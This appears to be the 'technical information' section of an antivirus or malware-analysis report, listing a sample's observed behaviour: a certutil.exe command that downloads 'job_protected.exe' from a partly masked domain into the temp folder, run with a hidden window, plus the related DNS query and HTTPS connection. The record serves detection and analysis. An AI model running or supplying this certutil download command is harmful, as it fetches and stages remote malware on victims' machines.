Техническая информация
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://www.na###otel.com/Events/job_protected.exe %TEMP%\filename.exe
- 'na###otel.com':443
- DNS ASK na###otel.com
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://www.na###otel.com/Events/job_protected.exe %TEMP%\filename.exe' (со скрытым окном)